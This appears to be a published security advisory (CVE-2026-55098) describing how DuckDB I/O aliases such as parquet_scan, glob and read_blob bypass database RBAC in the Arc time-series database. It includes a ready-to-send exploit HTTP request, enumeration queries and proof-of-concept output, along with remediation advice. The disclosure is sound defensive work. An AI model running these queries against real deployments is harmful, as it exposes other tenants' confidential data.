---
id: CVE-2026-55098
aliases:
  - GHSA-93cm-2v4m-c56c
title: 'Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735'
summary: 'Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735'
severity: medium
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N'
vendor: basekick-labs
product: github.com/basekick-labs/arc
ecosystem: go
affected:
  - github.com/basekick-labs/arc < 0.0.0-20260610131716-5dc8f53b70a3
patched:
  - github.com/basekick-labs/arc 0.0.0-20260610131716-5dc8f53b70a3
published: '2026-11-04'
updated: '2026-11-04'
sourceUpdated: '2026-11-04T17:15:58.450328068Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-93cm-2v4m-c56c'
references:
  - url: >-
      https://github.com/Basekick-Labs/arc/security/advisories/GHSA-93cm-2v4m-c56c
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-55098'
  - url: 'https://github.com/Basekick-Labs/arc/pull/495'
  - url: >-
      https://github.com/Basekick-Labs/arc/commit/5dc8f53b70a3871b16b0cebf328f07c578af7a45
  - url: 'https://github.com/Basekick-Labs/arc'
  - url: 'https://github.com/Basekick-Labs/arc/tree/v26.06.2'
  - url: 'https://github.com/advisories/GHSA-93cm-2v4m-c56c'
tags:
  - osv
  - go
  - ghsa
epss: 0.00319
epssPercentile: 0.25032
cwe:
  - CWE-200
  - CWE-863
ingestedAt: '2026-11-04T17:19:45.134Z'
---

## Overview

### Summary

The fix for CVE-2026-47735 (released 2026.06.1) is incomplete. It added a DuckDB sandbox (`SET GLOBAL allowed_directories=[<storage root>]; SET GLOBAL enable_external_access=false`) and an Arc SQL-layer denylist of the **literal** functions `read_parquet(` and `arc_partition_agg(`. The sandbox correctly blocks reads **outside** the storage root (OS files, `http://` SSRF), but it allowlists the **entire multi-tenant storage root**, and the SQL denylist still misses the rest of the DuckDB I/O family the original advisory enumerated. As a result, any authenticated token — including one with `permissions: []` — can read or enumerate **every other database's data** within the deployment, defeating RBAC.

Verified at HEAD `c08b892` (`v26.06.1-36`, includes 26.06.2). Confirmed still live; no later commit blocks these functions.

### Root cause (three composing gaps)

1. **Sandbox scope is the whole storage root, not the tenant.** `internal/database/sandbox.go:111` allowlists `cfg.LocalStorageRoot` (default `storage.local_path=./data/arc`). Every database lives under it — `internal/storage/util.go:33` `GetStoragePath` => `<base>/<database>/<measurement>/**/*.parquet`. Any in-root path is sandbox-permitted regardless of which database owns it.
2. **RBAC never inspects table-valued functions.** `checkQueryPermissions` (`internal/api/query.go:1181`) extracts table refs via `extractTableReferences`, which skips any name followed by `(` as a function (`internal/api/query.go:1116`); with zero refs it returns allow (`:1213-1216`). So `parquet_scan(...)`, `glob(...)`, `parquet_metadata(...)`, `read_blob(...)`, `read_csv_auto(...)` are never authorization-checked.
3. **The SQL denylist matches only the literal spelling.** `userSQLReadParquetPattern` (`internal/api/query.go:2087`) is `\bread_parquet\s*\(`. DuckDB's documented alias **`parquet_scan(`** is not matched, and `read_csv_auto`/`read_json`/`read_text`/`read_blob`/`glob`/`parquet_metadata`/`parquet_schema` are not blocked anywhere. The fix author documented this very threat at `internal/api/query.go:2061-2064` (“a user scoped to db1.m1 could read /data/db2/secrets/**/*.parquet”) but blocked only the literal `read_parquet(`.

### Exploit (authenticated, any token incl. permissions:[])

```
POST /api/v1/query
Authorization: Bearer <token>
Content-Type: application/json
{"sql": "SELECT * FROM parquet_scan('./data/arc/<victim-db>/<measurement>/**/*.parquet')"}
```

- `ValidateSQLRequest` passes (`parquet_scan(` is not `read_parquet(`, not a dangerous keyword, single statement).
- `checkQueryPermissions` extracts 0 table refs (it is a function call) and allows.
- `convertSQLToStoragePaths` finds no `read_parquet` literal and no bare `FROM measurement` to rewrite, so the query passes through unchanged.
- DuckDB runs `parquet_scan('<root>/<victim-db>/...')`; the path is inside `allowed_directories`, so the other database's rows are returned.

`glob('./data/arc/**/*')` enumerates every database/measurement/file; `parquet_metadata(...)`/`parquet_schema(...)` leak column names and per-column min/max value statistics; `read_blob(...)` returns raw file bytes. All operate within the allowlisted root.

### Proof (poc/poc_sandbox_alias_bypass.py, poc/OUTPUT.txt)

Reproduces Arc's exact sandbox config (`allowed_directories=[<root>]`, `enable_external_access=false`) on DuckDB 1.5.x (Arc pins duckdb-go-bindings 1.5.1) with a victim parquet written under the root:

```
[BLOCKED ] read_blob OUTSIDE root            -> Permission Error: Cannot access file ...
[EXECUTES] parquet_scan victim (read_parquet ALIAS) -> [('tenant-VICTIM-row', 42)]
[EXECUTES] glob enumerate every db under root -> [('.../data/arc/victim-db/secrets/f.parquet',)]
[EXECUTES] parquet_metadata victim           -> [('leaked','tenant-VICTIM-row','tenant-VICTIM-row'), ('v','42','42')]
```

The sandbox blocks escape (as designed) but permits every in-root cross-database read.

### Impact

Cross-database / cross-tenant confidential read by any authenticated principal, including a least-privileged (`permissions: []`) token, on RBAC-enabled deployments. This is the same RBAC-bypass impact the original advisory described for `read_parquet`, still reachable via the alias and the unblocked I/O family. (Arc's SQLite token DB `./data/arc.db` is a sibling of `./data/arc/` and is **not** in the allowlist, so it is not readable this way — the exposure is the time-series data of every database, plus its schema and value-range statistics.)

### Remediation

Per-request scope the sandbox to the requesting token's authorized database path(s): `allowed_directories = ['<base>/<authorized-db>/']`, so the file layer cannot cross the RBAC boundary regardless of which function is used. Alternatively, replace the function-name denylist with a strict allowlist of permitted table functions (alias-resolved, reject all others). A denylist of literal spellings is structurally fragile — this is the second alias/family miss after the original audit.

## Affected packages

- `github.com/basekick-labs/arc < 0.0.0-20260610131716-5dc8f53b70a3`

## Remediation

Upgrade to a patched release:

- `github.com/basekick-labs/arc 0.0.0-20260610131716-5dc8f53b70a3`
